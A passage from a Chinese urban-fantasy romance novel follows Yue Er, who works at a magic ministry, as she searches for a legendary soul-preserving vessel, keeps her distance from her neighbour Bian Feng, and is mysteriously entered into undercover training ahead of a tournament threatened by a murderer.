左等右等,手指在桌面胡点乱跳,怎么才过去四分钟,边锋轻“啧”一声,干脆进通灵阵传个讯?
“笃笃”,通灵阵的震颤波纹被挡回来了,他眉头微皱,越洱什么时候把他俩通灵阵链接切开的?
会不会在忙?会不会……将才过去那对小情侣,真是越洱,她忙着约会?
“锋哥,你怎么了?”一道声音叫边锋回了神。
姑娘轻轻推过一小碟甜品,道:“刚加上的,你不是喜欢吃?”
边锋把小勺递一个给她,示意她吃,自己却不动。
*
鬼市,越洱垂下手,停了灵力灌注。
那团合抱的半透明蓝膜魂魄,渐渐展开,分立,呈两个蓝莹莹的人形。
一男一女,阖着眼,看上去死时正值中年。
包子站在越洱侧后方,手心捏着越洱腰后那块柔软的上衣。
“越洱,姐!我求你先拿好武器!”
谁知道这俩魂魄睁开眼会不会突袭?她可不信什么颜色之说,三界之大,多的是伪装手段,千奇百怪。上次纪妖局抓来的食人妖连吃八个,还大言不惭说自己是“良善之妖”呢。
越洱好笑,这魂魄体内灌了自己灵力,要想毁掉它们半秒都用不上。但还是不忍心逗包子了,她连声说好,煞有其事化了一把巨大钳子挡在二人面前,腰后那只紧紧揪着衣裳的手才松开些许。
中年女人的魂魄先睁开眼,她似是大梦初醒,泛着蓝光的眼皮眨几下,很是懵然看向眼前横陈的巨钳,又望向巨钳对面二人。
见她们未动,也无煞气,才转去检查中年男人魂魄。
“你们刚刚被这个大嘴巴吞了吧?”越洱主动问。
那女人转眼谨慎看越洱一番,又见血盆大口在不远处呆呆张着,两排牙肉之间撑了金属柱子一般,无法闭合。
才点点头道:“是你们救了我们?”
横陈的巨钳缩小,飞回越洱手心。越洱也回道:“也不算吧,它自己吐出来,我灌了些灵力。”
她指指中年男人阖眼的蓝色魂魄,接着说:“这位腐蚀得比较厉害,要多等一会儿才会醒了。”
女人伸手摸摸那未醒魂魄的脸庞,蓝莹莹的手臂,蓝莹莹的脸。
她微笑对二人道谢:“谢谢你们,我本以为会在它肚子里再死一回。”
这笑很是虚弱,她状态不算好,眼角弯弯的皱纹随着笑容摆动,看起来竟是别样的美。
包子见状,想来一时半会儿不会有什么,便开口问:
“请问怎么称呼?今天鬼市发生了什么吗?”
中年女人看着包子,笑道:“我看你们年纪还小,不如喊我阿姨吧。”
她拉拉另一魂魄手指:“这是我丈夫,早些时候鬼市还在正常办……”
又指指那“血肉大喇叭”,道:“突然来了些这东西,胡乱吞吃摊子,又抓鬼吃,大家都吓得拼命跑。我们躲进这家客栈,在后院地窖躲了很久,还是被它发现了。”
女人说着,四处张望,似是才注意街道上无其他一鬼半魂,瑟缩肩膀微微靠向丈夫那边。
“你们不是鬼魂吧?多加小心,最好别在此逗留,早些回家。”
包子和越洱对视一眼,她竟识破她们并非鬼魂,明明二人早已掩去活人气息,还上了伪装法咒。
越洱道:“阿姨,我们来鬼市,是想打听些事情。”
说着,她朝包子递过去一个眼色,包子会意,麻溜翻出乾坤袋,掏了个葫芦拿手上。
“我先收掉这个大嘴。”包子敲敲葫芦,解开葫芦半腰系的红绳。
葫芦腾地飞起,从手巴掌那么大,“呼哧”增长,得有小三轮车大小了。
葫芦口倾斜,对准血肉大喇叭,葫芦嘴忽地弹飞开龙头枝藤,口一开,疾速吸纳空气。
四周风起,两把撑牙的钳子飞回越洱这边,血盆大口闭合,下一秒,那血肉大喇叭般的怪物,“嗖嗖”钻进葫芦。
包子重新给葫芦腰系上红绳,一手把葫芦放回乾坤袋。
她才放好,就听一小阵掌声,原是那中年女人在为她鼓掌。
包子不好意思笑笑:“我带回去研究研究,没见过。”
越洱已顺着街道搜寻一圈飞回,她看包子收了葫芦,也叫她们放心,道:“这附近没有其他东西了,我们坐着聊会儿。”
几人坐在客栈方桌旁,中年男人魂魄也缓缓睁眼,下意识去护妻子,待女人解释清楚,他还是不放心,又细细拉着妻子检查一番,道了谢意,这才安心。
越洱飞出的野火分为几簇,一簇簇跳到蜡烛台、灯笼芯,客栈瞬间明亮起来,灯火融融。
妻子嘴上抱怨着丈夫多心,自己真没事,眼角细纹却晃动着笑意。
暖光映照,越洱、包子笑笑看着这对夫妻,脸上神色暖融,颇为“慈祥”,仿佛此刻她们不是小辈,而是沉浸在“俩人感情真好”氛围中,默默欣赏感慨的好友。
待又坐定,女人对丈夫说:“两个小朋友可厉害,她们今天下来找保魂方法的。”
越洱很久没听到别人喊她“小朋友”,又看夫妻俩似是和她爹妈差不多,也许生前保养很好,实际年龄更大一些吧。
包子没提她失踪的妖怪同事,越洱也不好擅自插嘴。
只听那男人说:“如果是家里人的魂魄将散,可以试着在族谱重添一次死者名字;或者让他生前认识的人,亲手在供桌上给他献一回酒饭。”
越洱:“其实是不太熟悉的鬼,他家人朋友好像都不在世了……”
“这样啊,”女人略作思索,道:“能尽快去转世轮回最好,实在不想么……”
她望丈夫一眼,
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犹疑道:“传说是有一种保魂器,可以挽救即将消散的亡魂,但没人见过。”
男人也点头道:“只是传说,不一定存在。”
越洱眼睛一亮,来了兴致,她倾身向前,问道:“二位可以详细讲讲这传说吗?”
包子也来劲了,坐得板直,双手交叠搁在桌上。
忽的,越洱感到太阳穴血管一跳,通灵阵又有人“敲门”。
下午时已有一回涟漪传来,她直接屏蔽了,现下更是不想管,便胡乱加强抵挡,先听阿姨和叔叔细讲传说。
眼前女人笑笑,怀念道:“你们从小看动画片更多吧?我们这辈人,小时候没什么娱乐,难得看到一套连环画本,传来传去抢着看……”
那套连环画,每本大约半个巴掌大小。翻开看得我眼睛又疼又酸,可是很有意思,那时候我们普通人家里来来去去接触的,都是一样的普通人。
神啊,鬼啊,妖啊,听过而已。
但这几本画册,奇思妙想,把我模糊的想象都投在纸上,更别说还多出很多闻所未闻的轶事。
从头到尾嘛,我记不来那么清,太多年了。
保魂器那里,倒还有些印象。
画的是一个老妇人,她相伴多年的丈夫去世,魂魄不下地府,也不归家,就那么游荡在河边。
老妇人能看到亡夫魂魄,每天做完事就去河边陪他。
村里人见她一个人在河边晃,还自言自语,都说她伤心到疯了,真可怜。
他们无儿无女,只有邻里相帮。就这么过了三五年,老妇人似是预感自己死期将至,亡夫鬼魂也将消散。
她怕还没等到自己归逝,他就先消散了。
可那魂魄竟说:“老太婆你糊涂啦,我没死呢,我陪着你,别害怕。”
他或是不知,或是不认,他坚持自己还活着,说会走在后头,帮妻子操办后事。
有一天,这老头子魂魄终是要消散了,久卧床榻的老妇人,忽似回光返照一般,竟生生自己爬下床穿好了鞋。
她不知哪儿提来一盏铜灯,追着丈夫的亡魂跑,非要他“过来,过来”。
那老头子变了魂魄也倔,浑然不觉自己即将魂飞魄散、灰飞烟灭,固执逃着。
他们跑进一片无边无际的油菜花田,黄灿灿的海浪起起伏伏,白色小蝴蝶翩翩飞舞。
一个在喊:“过来,过来,来不及了呀!”
一个在叫:“稀里糊涂!稀里糊涂!”
他们跑啊,追啊,跑进了无边花海深处,黄灿灿的海浪吞没了他们身影,从此,再也没人见过他们。
后来,油菜花谢了又开,开了又谢。
一个垂髫小儿,跟随爹娘去田里干活,小孩坐在田埂边吃红薯干,她看见地上倒着一个裹满泥土的小罐子。
捡起来一块块掰开干巴成块的红土,才看见里头是个铜器,铜口敞开,却怎么也看不清里面,黑漆漆。
小孩不敢伸手进去,只轻轻一摇,摇出了一只小小的,几乎透明的白蝴蝶。
她家大人见过那老太婆提着这铜罐,又是心里发毛,又是于心不忍。
看女儿欢喜不愿撒手,便哄道:“这是保魂器,你拿着玩,别人的灵魂就会散掉啦。”
待到傍晚,一家三口带着这铜器,放回了那老两口荒败的茅草房里。
16.好想家……家?
从鬼市回到小区,是深夜,越洱先闪现送包子回家,闪回自己家这边时,不知怎的搞错了输出点,在一个偏远的加油站落地,没了法力。
倒霉催的,还下起雨来,她沿着房檐和棚顶走,手机也没电,幸好罗盘在乾坤袋,勉强指引她回到附近。
单元楼楼下,越洱没有门禁卡,那道向来用石头挡开的楼门,被关上了。
越洱:“……”
换作平时,越洱会直接法力飞上去,可今天真的一丝也榨不出。
她正想着,要不就靠着墙角睡一会儿,哪怕恢复恢复法力再破门也行。
这时,三楼的窗户推开,夹着雨丝,好像天赐救赎。
越洱仰头,一个看上去八十多岁的老爷爷稍微探出头,看了一眼窗外。
“爷……”
窗子迅速关上,老人也缩了身回去。
越洱头疼得厉害,算了算了,这老小区没电梯,要真是让老人爬上爬下给自己开门,她也过意不去。
越洱头靠着信箱旁边,失神望进雨夜,那种沮丧和无力,久违席卷她心间。
原来没了法力,没了电,家里没人等,就是这样的。
整个城市悄然变得面目冷酷,无言嘲笑一个异乡人的天真。
约莫过了十多分钟,楼道里传来不规则的脚步声。
越洱忙站回这道刷了绿漆的铁门前,只见楼梯拐角处,一个步履蹒跚的老人缓缓走来。
是三楼那个老爷爷,他走两步扶一下墙,终于挪到铁门边,一拉锁扣,给她开了门。
越洱连身说谢谢爷爷,实在辛苦你来。老人摆摆手,转身背着手往回走。
越洱赶上前,扶着老爷子手肘,一步一步搀上三楼。
她继续往上,外头雨丝斜飘进每层楼梯转角的三步平台,几乎湿透的衣服贴在皮肤上,又湿又凉。
7楼,越洱从贴在腿侧的裤兜,摸出手机,掏出那把孤零零的钥匙。
钥匙插进锁孔,转动一下,身后的门先开了。
越洱回头,见边锋穿着一套米白的家居服,柔软温暖的样子,站在暖黄灯光里。
他迈出房门,脚蹬一双棉麻拖鞋。
“……怎么这么晚回来?”
他看向越洱湿透的裤脚,棕色的牛仔喇叭裤,现在被水打湿成深褐色:“淋雨了……”
越洱不等他说下一句,点头“嗯”一声,拧开最后一道锁,推开家门进去了。
好累,身累心累,无缘无故、莫名其妙的累法。
小狗被吵醒,冲出来门口迎接,小尾巴甩得欢实,跳着扒腿要她抱。
越洱身上凉,只蹲身松松搂了小狗一把,亲亲它狗头,忽然一道热乎的泪水就滚落脸庞。
好想阿公,阿婆。
越洱抬手背抹开泪水,手背比脸蛋还凉,她脱下湿的鞋袜,光着脚走进浴室。
打开热水,剥开湿衣湿裤,紧贴肌肤的布料像是另一层皮肤,吸附着她。
她站在热水下,热水流过的地方一寸寸回温,幸好今天有热水,幸好……她觉得自己没力气再去解决任何一个小难关,她只想快点洗好吹干去睡觉。
边锋站在越洱家门外,他抱着一条纱棉的大毛巾,一个云朵般蓬松的热水袋,手却迟迟抬不起来敲门。
越洱状态很不对,他回想着越洱那冷冷淡淡的一眼,合上房门时,克制又急切。
无力,无话可说,也堵住了他满腔的话语。
他想说,今天太忙没看到消息吗?
这种纱棉的毛巾很吸水,温暖干燥,雨天用它会感到幸福,新的、很干净,给你吧。
是不是约会发生了什么不高兴的事情?那个人,他……
很难过才不管不顾让自己淋雨吗?
想说,今天看见你走过梧桐大道,很像绿色枝叶之间,小小的一片枯叶子,好有意思,我看着想着就笑了。
你想吃我刚学会做的那种烤肉吗,辣的,不过带一丝丝甜。
冷吗?头还痛吗?
……
很累吗?不想跟我说话吗?
随后,小小的水声从屋内传来,他知道她进了浴室。
*
阴雨绵绵,雨声滴答,越洱睡了长长的一觉。
醒来时,小狗还贴在腿边侧身睡着。越洱俯身贴下去,脸埋在热烘烘的、散发出大米香气又臭臭的小狗毛里,呼噜噜磨蹭。
小狗醒了,转头投来懵然一眼,接着歪头去靠被子,继续假寐。
越洱看到它这副憨态可掬的睡颜,心里爱得发紧,便觉身上力气都长回来了。
脑中闪过一个米白的身影,她也学小狗甩甩脑袋,把这个人抹去。
来想想看保魂器,昨晚在鬼市,她、包子、中年夫妻聊了许久。
“所以说,保魂器的传说只是来自于一套连环画本?”包子质疑道。
甚至是一套过时的、绝迹的画本。
“不,地府也流传着这个传说,一些一直没离开的鬼,说很早就听过。”
包子面色微凝,这种东西,实在很难证实。
越洱倒是还稍乐观,毕竟,溜金抱他们那个契约里,不是提到法力部博物馆里有个保魂器么。
也许传说真真假假,得先看到这个东西,才去考虑下一步。
见二人沉默,夫妻俩耳语几句,似是下决心才说:“其实连环画本分了好几个主题,不止提到保魂器,还有其它法器,其中一样我们确认存在。所以你们也可以试试去找保魂器。”
“哦?还有什么法器呢?”
“很多,用来扭转时空的、窥见真相的、积累财富的……具体还要找到那套画本。虽然不好说我们确认存在的是哪一样,但总归这个传说不会是纯然编出来的。”
越洱这才道:“其实我听说法力部博物馆就有叫保魂器的,只是不知道是不是同一种东西。”
“法力部的博物馆……不让进吧?我们养孩子做过功课。”
说到孩子,二人面容暗淡下去。
越洱不敢说自己在法力部工作,可以进,但夫妻俩都已看出她们是修真者。
临别时那中年女人欲言又止,似是什么话将要脱口而出,又生生被遏制噎回。
不管怎么,先去博物馆确定确定,万一真有保魂器——真有,那又如何?
法力部的藏宝,公有的东西,难道会随随便便给一个鬼使?
虫哥、灾姐也没回消息,师童那小家伙不会单独在线。
越洱想得一阵烦躁,算了,尽人事,听天命。他们要是
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真犟着,宁愿魂飞魄散也不去投胎转世,那又和自己有何相干?
眼下最重要的是好好通过三个月试用期,顺利留在法力部工作,拿到工资,有吃有住,活下去。
越洱跳下床,洗漱,透过洗手间小窗,看雨丝绵绵,楼下一些居民直接不撑伞,骑车走路,人来人往。
她忽然很想去吃小区门口那家肠粉,带上伞,一点也不想再淋湿。
越洱加快刷牙速度,哐哐刷,大力好似刷地板。
即将下楼才记起昨晚手机没充电,便接上个充电宝一起揣进兜。
来到家门前,她微微打开一条门缝,看对门没动静,这才悄声锁门出去。
还是到上班日子,不得不见时再见最好,她是个很慢的人,需要时间去消化一切变动,也需要很多力气去保持住身心平静。
总之,先不见边锋为好。
在小店坐下,老板端来一碟热气腾腾的肠粉,晶莹剔透,越洱习惯性往上浇醋。
搁在手边的手机,电量充到10%自动开机,一条讯息弹出来。
越洱边喝水边斜眼去看。
【联系人:边锋,发来3条信息。请点开查看。】
越洱缓缓咽下水,清凉的液体滑过食道,感受鲜明。
她有点不愿意点开看,又暗骂自己:
“有什么不敢,怂包,看!”
细白手指划拨开锁屏,点进消息。
“今天在忙什么呀?”
几小时后,又一条:
“下雨了,有好好回家吗?”
再8分钟后,边锋:
“在哪儿?我来接你?”
那时候她在鬼市,对面坐着中年夫妻蓝莹莹的半透明魂魄。
越洱看着对话框,眼前似还有边锋和那姑娘在餐厅对坐的虚影。
半晌,她轻叹一口气,回道:
“手机才充上电,不好意思。”
打完字按关屏幕,烫手般甩开手机,肠粉热气消了,醋汪在表皮。
她忽而胃口尽失,筷子挑动,拨来拨去。
一口抿着吃一点点,她想起小时候第一次去班主任家,不敢放开吃东西,梁老师笑着说:“越洱怎么像小耗子,用牙刮着啃东西。”
遥远的光影搅合眼前的不安,胃里、心边,有不甘的小人跳来跳去在捣乱。
*
法力部博物馆,周四下午基本没什么人,办公大楼正忙。
越洱刷脸进来,一对石雕的士兵立于左右,分开交叉的兵器。
里面和寻常博物馆没太大差别,只在每处玻璃外有强结界和监控。
讲解员只有一个,在远处带着两个巡查组的鸟人,给他们讲解。
越洱从门边白色篮子里抽出一份手册,今天来不及细看,包子很喜欢逛博物馆,下次带她来再慢慢瞧。
她浏览手册分区,找到【铜制法器】一片,直奔此区。
顺着馆藏一个个找,越洱不知不觉拐进转角走廊,她低头细看每个铜器,一退身,撞上一个人。
“啊,对不起……”
那人眨眨眼,浓密的睫毛跟着颤动,笑得鼻间微皱,嘴唇粉嘟嘟的。
“对不起有用的话,要警察干什么?”
边锋望着她说。
17.预言谋杀
越洱:“……你来,逛逛?”
边锋抱起手臂:“我来抓踩脚犯。”
越洱微窘,将才退后撞上他,脚跟狠狠踩了上去。
俩人继续逛下去,越洱简单说了想看看保魂器,但谁也没提起昨天、昨晚。
边锋话也变得很少。
越洱站住,一个青铜器皿吸引了她目光。
单独的玻璃立柜中,青铜器上覆盖着斑驳的蓝色铜锈,不同于之前的猜想,这不是青铜灯,更像个酒器。
铜器腹部雕出四张立体的诡异脸庞,提梁上分立两把羊头琴。
不似其他藏品下都有详细黄铜说明牌,这个铜器下方只刻了三个字:
【保魂器】
“原来保魂器长这样。”边锋也凑近了看。
玻璃外结界突然“滋滋”闪出青绿色电流,似是警告来人别靠更近。
越洱退后半步:“有没有觉得这个结界比其它更强?”
边锋:“是更强,可能出了溜金抱契约那事儿,部里怕惦记。”
“可这保魂灯真有用吗?看起来就是个寻常古物。”
“不知道呀。”
*
复工这天,边沁先发现了不对劲。
早会之前,她左瞅瞅哥哥,右瞅瞅越洱。
这俩人……怎么变得这么客气?
“越老师,可以把那边的纸巾给我抽两张吗?”
“边老师,两张够吗?”
“够了够了,谢谢越老师。”
边锋双手接过两张纸。
越洱忙道:“边老师千万别客气。”
边沁:“???”
她靠回椅背:“二位老师在玩儿什么呐?”
边锋冲她假笑,下一秒脸又垮下去。
越洱假装很忙,在会议本上写写画画。
这时,段飞烨走到门口,只见她退身侧立,手势恭请般先让两个人进来。
一个满头白发梳得光亮、盘起发髻、红唇白肤的女人走进,她一身烟灰色西装,版型复古偏大,恣意潇洒。
其后进来的,是一个面貌四五十岁的中年男人,皮肤保养颇好,让人联想到一些老电影里的古典吸血鬼。
会议间与会者忽而一排排正襟危坐,越洱偏头贴近边沁,边沁手遮住嘴,用极小声音说:
“部长和副部长。”
段飞烨站在一侧开口道:“今天部长和副部长来,亲自给大家指导仙门选拔和灵山胜境的工作。”
底下齐齐鼓掌,越洱也赶忙跟上。
法力部新闻不少,也有自己的宣发渠道,越洱面试前一篇篇文章、一个个视频看过。
但部长很少出面,更多是手下工作人员。越洱只记得部长名字是“仇英”,今天才看到本人这么有风格。
仇英伸手将鬓边一缕白发勾向耳后,她慢条斯理开口道:
“今年六月比较特殊,我们一年一度的仙门选拔,遇上五年一次的灵山胜境,两大活动首次合并举办。”
仙门选拔,是凡间散修进入仙门的唯一机会,也是所有法力学校将学生推举进仙门修炼的大好时机。
骨骼清奇、资质甚高者,早在初小时期就被仙门入户选走了,剩下的这帮人,则是苦修十余年,博一次仙门选拔机会。因为仙门收弟子都是有年龄限制的,20岁还没进去,往后也就安安心心做个散修算了。
越洱18岁那年,就是在仙门选拔中被涮下来的。
至于灵山胜境,则是指五年一度的修仙界比法大赛,参与者多为在世修仙者中修为最高的那拨人——但有一条不成文的规矩,仙门弟子、法力部人员,皆不得参加。
“可以说安保压力倍增,对咱们法力部是一次很严峻的考验。虽说仙门、鬼界、妖界都会派遣安保人员来援助,但主要担子还是在法力部身上。”
仇英边说,边顺手卷起一边袖子,越洱看到她手臂露出的肌肤苍白。
“这种情况下,我们还收到线人来报。”
仇英抽出一张放大的照片,钉到白板上,照片拍摄了一张信纸。
信纸上笔迹怪异,像是写信人刻意扭曲过:
【灵山胜境,血流之地。】
仇英道:“技术人员反馈,这纸条字迹曾出现在过去20年间的几次谋杀案件现场。”
她顿了顿:“嫌疑人没留下任何线索,在警方和法力部通缉榜上,他的头像至今空白。”
“以往这般大型活动,为了保证比赛公平性,法力部都在赛场外围进行安保巡逻,但这次不一样。嫌疑人很有可能进入中心圈的竞技台、修士居所……”
随后,仇英给各部门布置了此后两个多月期间的工作方向,尤其点了负责安保和巡逻的鸟人大队、最常冲在案发现场第一线的异常事件处理司。
又是一次卖命的活儿,越洱心道,不过那么多能人异士在,总不至于她一个小喽啰拿命顶。
旋即又心生担忧,一个被警方和法力部通缉二十年无果的在逃凶犯,真会那么简单给拿住?
到时人山人海、鱼龙混杂,一场谋杀案足以引发恐慌和暴乱。
几人回到异常事务处理司,越洱注意到边家兄妹的神情异常严肃,俩人都不说话,沉浸在自己思绪中。
异常事物处理司,办公区,段飞烨坐在工位上,周围团绕着三五张人体工学椅。
胥义黎、施彦河、上次带1队去工业园区出任务的队长,都在其间,此外还有两个较为陌生的前辈。
几人讨论许久,越洱他们没任务,在自己工位上干坐着,又听不到、又不敢玩手机。
就边沁有活儿干,她被指挥组收入以后,还是挺忙的,但大部分时间还是在这个工位,除非司里其他人出任务,才需要坐进指挥室。
越洱启动电脑,打开一个空白Excel,再调出小说页面,半遮半掩偷偷看起来。
临近午饭时间,段飞烨才站起身来,把大家喊到异常事务处理司自己的会议室,环坐在巨大石桌边开会。
“刚才部长没直接在会上说啊,但部门负责人昨晚都接到了通知,这次是要派一些人卧底进去的。明面上的安保不用说,问题是私底下也得见缝插针,各处都有咱们自己的人。”
“不仅是潜入赛场内圈,还有修士、妖族混住的巢园,鬼界那帮人住的坟场……总之各处吧。”
她看向几个新人:“你们几个还算新面孔,其他司里的人早都参加过好多回安保工作了。灵山胜境里是没法伪装的。”
“所以上头的意思是,鼓励新人加入卧底训练。”
越洱心下叫苦不迭,法力部这行事风格,上回处理“灵力暴走”事件,直接让他们几个丝毫未经培训的新人上。
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也就还好乐奇不是真的灵力暴走,要是真的,越洱说不好已经是焦炭一块了,第一个月工资没拿到呢,就嗝屁了。
这次说什么“卧底训练”,这卧底,是短短两个月训练就可以用的吗?虽说也不是什么极危险的卧底行动,但法力部难道这些年都没有培养自己的卧底班子?
还是说其实有,只是在执行其他任务?
她这人演技真不行!要是你别告诉她“你是卧底”,那还能演出三分天真无害。
要真是叫她执行卧底任务,她都害怕自己不知道会看起来多奇怪,可别害惨队友、害任务失败。
越洱转头,却见边家两兄妹眼冒精光,尤其是边沁,一脸坚毅,势在必得。
越洱:????
怎么回事儿妹子,真想去干卧底啊?
就听段飞烨道:“不过这次行动风险可高可低,谁也拿不准那凶犯是要干什么,是不是光他自己。卧底训练以后,还要抽出几个去灵山胜境竞技台上比法,好无死角地观照现场。”
“所以,对这几个人来说,压力和风险肯定最高。”
“你们考虑考虑,不强制。要是愿意去,就写上自己名字,找个没人的时间投进报名壶里。”
说着,段飞烨手虚空一抹,会议桌上方凭空出现一块光幕。
幕中场景鲜活,是法力部333层,此景中空无一人,地板消失,往下不是332层,而是漆黑无底的深渊。
深渊正上方,也就是原本的333层,中心漂浮着一个猩红色的、看起来像烟雾做成的提壶。
越洱悄悄给边沁说:“法力部就爱整这种血糊拉嚓的东西,看起来好不吉祥。”
随后,光幕中忽而飞出成百上千只白色纸鹤,其中一些飞落在每个与会者面前,贴到石桌面时,自行展开,变成一张张平整报名纸。
其余成百上千的纸鹤,则在会议室空中盘旋四飞,不一会儿又如鱼群,哗啦啦游进光幕,消失了。
越洱:几张报名纸,搞这么大场面么?
“咳咳,”段飞烨清清嗓,猫眼镜框下,她脸颊都微微发红:“部长最近捣鼓出来的新信使,哈哈。”
“散会吧,大家吃午饭去,三日之内,报名壶就会消失,抓紧时间哈。”
光幕闭合,成一条白线,旋即消失空中。
离上午下班时间还有10分钟,但段飞烨好似不是很拘泥于这些,越洱出外勤任务就发现了,在她手下干相对自由。
饭补数额也是各部门自己定的,由部门经费报销,段飞烨给的数,基本是其他部门1.5倍,很是大方。
毕竟部门一年用钱的地方多着呢。
越洱收起笔记本,随手把报名纸折起来卡进去。
一转头,看见边沁、边锋二人刷刷写好了名字,郑重其事收好报名纸,这才起身。
不是,合着大家伙,除了她,都不是怂包是吧?
上班不就是来混口饭吃,轻松的活儿不干,明面安保队只需要跟着就好了,哪怕出意外也是大家一起上。
可这卧底,不仅接下来两个多月苦,到时候打散分开,倒霉碰上啥都每个帮手。
还要再训再选,搞几个去竞技台上,和那些高手斗法力,一不留神被打得下不来台,要么变成尸体被抬下来。
你们,都这么热血的么?
18.血色报名壶
333层楼道,再往前一步就是漆黑深渊,现在还没下班,只有越洱、边锋、边沁三人过来。
越洱探一只脚尖去试深渊是否真为空心,还是障眼法。
她脚才一出,手便被拉住。一扭头,是边锋那张面色发青的俊脸。
“能不能别老让自己冒险?”
他语气不算好,惹得边沁也频频看他俩。
越洱不说话,人退到深渊之外,那个猩红色的提壶,烟雾缭绕,夺目勾人。
报名壶悬浮在深渊上方,好似诡异的血色陷阱。
越洱飞出一钳,到提壶开口处又飞回,确认深渊之上没有禁飞,才开口道:
“你们小心点,设置报名壶的也真爱搞名堂,正常点摆在实地上直接报名不行么?”
边沁笑着点点头,道:“放心吧,在部里出了事儿包赔的。”
边锋道:“你也别飞过去了,想想别的法子,真要出了事,赔钱还有用么?”
边沁“哦”了一声,噘噘嘴,似乎觉得哥哥大惊小怪。
她向前伸出一拳,拳头立刻金属化,漆黑深渊衬托出银色流光。
手臂不断金属化、拉长,最前端的拳心握着报名纸,人还在原地,拳头速速朝报名壶飞去。
近了,边沁感觉到突破一层透明结界,拳头在报名壶开口处停下,松开,报名纸掉落。
只见猩红壶中飞来缕缕血红烟雾,缭绕报名纸,一下下把纸张拖入壶中。
一行血色烟雾组成的字,伴随着烟圈吐出:
【报名成功!】
“哈哈,成了!”边沁开心收拳,回头问:“哥哥,要不要我帮你放?”
边锋看她报名成功,开心之余也担心,微微笑着摇头:“我自己来吧。”
他一步上前,一条龙骨麒麟鞭甩入333层深渊上方,锁链仿若游龙,一下子就搭上报名壶边缘。
竟是揽月,从武器库休整回来,整条鞭熠熠生辉。
鞭尾卷成一小轴的报名纸,被轻轻托着放进壶嘴,边锋也报名成功。
“刷!”一股强悍霸道之力,直拽心口般,边沁两眼一黑。
天旋地转,背痛咳嗽,三人被“泼”到食堂门前。
越洱先起身,一手拉起一人,抱歉笑道:“不好意思哈,急了点。”
边沁堪堪站稳:“越姐,你的闪现我的闪现,好像不一样。”
边锋也道:“我算是知道面试那天你是怎么被‘泼’出来了……”
越洱脸热,别人的闪现都挺正常挺酷,就她的,向来野蛮,怎么也练不好。
预示下班的钟声响起,越洱神色一敛,道:“将才有人接近333层了,没有脚步声,最好是没看见你们。”
段飞烨特意叮嘱,要找个没人的时段去报名,想来有她的用意。
边沁道:“我也闻到了一股很特殊的气息,刚要转头看。”
“你们报了名要多加小心,我想这次卧底计划不会那么简单。”
边锋听此,心虽遗憾越洱不能一起去,要分开至少两个月。倒也理解她不想报名卧底计划,感念她不问“你们为什么非要去”。
十年前,也是仙门选拔撞上灵山胜境,他父母死在当时,死在了神像脚下。
此后每一年仙门选拔,他都会去,可仙门选拔场地年年变,他没找到任何线索。
五年前,灵山胜境开,但仙门选拔在别处,两兄妹分开两地,皆是没查到任何线索。
他父母,就这么无缘无故,死在一场盛会之中?
他一直在等待,等待仙门选拔和灵山胜境再次合并开办之日。也许是太执着无望,导致智昏智乱,他感到冥冥之中,有种东西在指引着他走向这一天。
十年,下一次合办不知道还要等多少年,他也不敢想,自己身子还能撑多少年。
这次“预告”谋杀的凶犯,会不会和爸妈的死有关?
他静静看着餐桌边,叽叽喳喳聊八卦的越洱和边沁,忽而觉得心都被胀满了。
待到灵山胜境闭合,就该7月了,时隔三个月再见越洱,会是什么样子?还……能好好出来吗?
这十年,他太累了,没法放下,没法接受,没法停止寻找真相。
他被困在父母死亡那一年,可遇到越洱,他竟有一瞬间,觉得也许可以放心朝明天走一步。
可脑中回放越洱和那个男人手挽手一齐走过的背影,他又嘲笑自己痴心妄想。
也好,本来也不该,本来也不能,本来也不知自己还有几天好活。
若是未来很短,只要边沁好好的,她也好好的……
越洱本和边沁聊得起劲,半天不听边锋插话,还当他在埋头猛吃。
忍不住一转头,却见边锋饭菜没动几筷,眼尾还红红的。
边锋忙转头,避开她视线,扒起饭来。
“边锋,你怎么了?”
边沁也转头看哥哥,见他这样,不由一愣。
“哥,哭啦?”
边锋低着头回道:
“说什么呢,谁给我打这么一大勺辣子鸡?”
他拈起一段干辣椒给她们看,嘴里吸呼吸呼换气,看起来很辣。
“……”
“喝点水。”越洱把自己没喝的冰水递过去。
边锋喝一大口下去,杯里只剩下冰块。
他边说“谢谢”,脸上神色已恢复如常。
忽的,边锋脸上弯出一个笑来,他本就坐在越洱旁边,便抬抬肩膀,手臂轻搡越洱一下:
“哟,不叫我边老师啦?”
越洱有点破功,憋不住笑道:
“叫你边老师还不好?多尊敬、多郑重。”
边锋又挨近一些,几乎是小孩子撒娇一样:
“不要,我就喜欢你叫我阿锋,锋!不准那么客气叫我!”
说着他还低下肩膀,亲昵地碰越洱几下,力道就是玩闹一般。
越洱耳尖一下炸红,脸烫得仿佛毛细血管都要炸裂,很是招架不住。
她什么时候叫过他这些……
“我说,二位,”边沁坐在对面,手中喝干的易拉罐捏扁,金属咔咔响,边沁则是咬着牙眼睛半闭:“还是叫回老师吧,好么?”
边沁抬眸对向哥哥,咬牙道:“尤其是你,下回发癫不预告,别怪妹妹对‘锋锋’下毒手。”
越洱本来正心乱得不知怎么办才好,听见边沁这话,猝不及防爆笑一声,又立马自己捂嘴控制。
边锋不服,对着边沁做怪相,嘴里还模仿妹妹说话;搞得边沁也开始做起怪相,学哥哥撒娇。
……
比幼稚,还得是你们兄妹俩。
*
三日后。
“卧底训练入选名单出来啦!”
“不是,怎么只看得到自己结果啊?”
越洱探头去看边锋报名结果,那张名单摊开
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,却只见异常事物处理司所有人的名字,按首字母排序,后一栏“报名状态”一片空白。
“嗯?你们自己看得到吗?”
边锋、边沁点点头。
“出去说。”
三人走到僻静处,边沁才小声道:
“耶!我进了!哥哥你呢?”
边锋回头看没人,才笑着点点头。
越洱拿过边锋手里那张入选名单细细看,开心道:
“好有用的法术,可以代替日记锁了,怎么搞出来的?”
她摩挲着纸张,翻过背面——
!!!
她看到名字排到Y字母,越洱-报名状态-成功入选。
二人见她脸色突变,忙问道:
“怎么了?”
越洱反反复复用手指摩擦那几个字,岿然不动。
她忽然感到嘴里干渴,一阵诡异的紧张绞着肠胃:
“不是,我没报名啊……”
边沁一惊,小声道:
"姐姐,你的名字后面写了什么?"
“成功入选……怎么会这样?”
边锋也是神色凝重,接过名单,拧着眉去看越洱名字。
但那一栏,在他眼中,只有“越洱”二字,其余空白。
他让边沁把她那张名单拿来,又递给越洱:
“看看这张。”
越洱满心疑云,手竟罕见地有些僵冷。
她接过边沁的名单,翻转到背面,手指着一排排滑下——
越洱-报名状态-成功入选
她把名单递回给边沁,道:
“一样,入选了。”
下一秒,越洱忽地消失,原地仅剩空气。
再不到十秒,她突然闪现,手里拿着一个会议记录本。
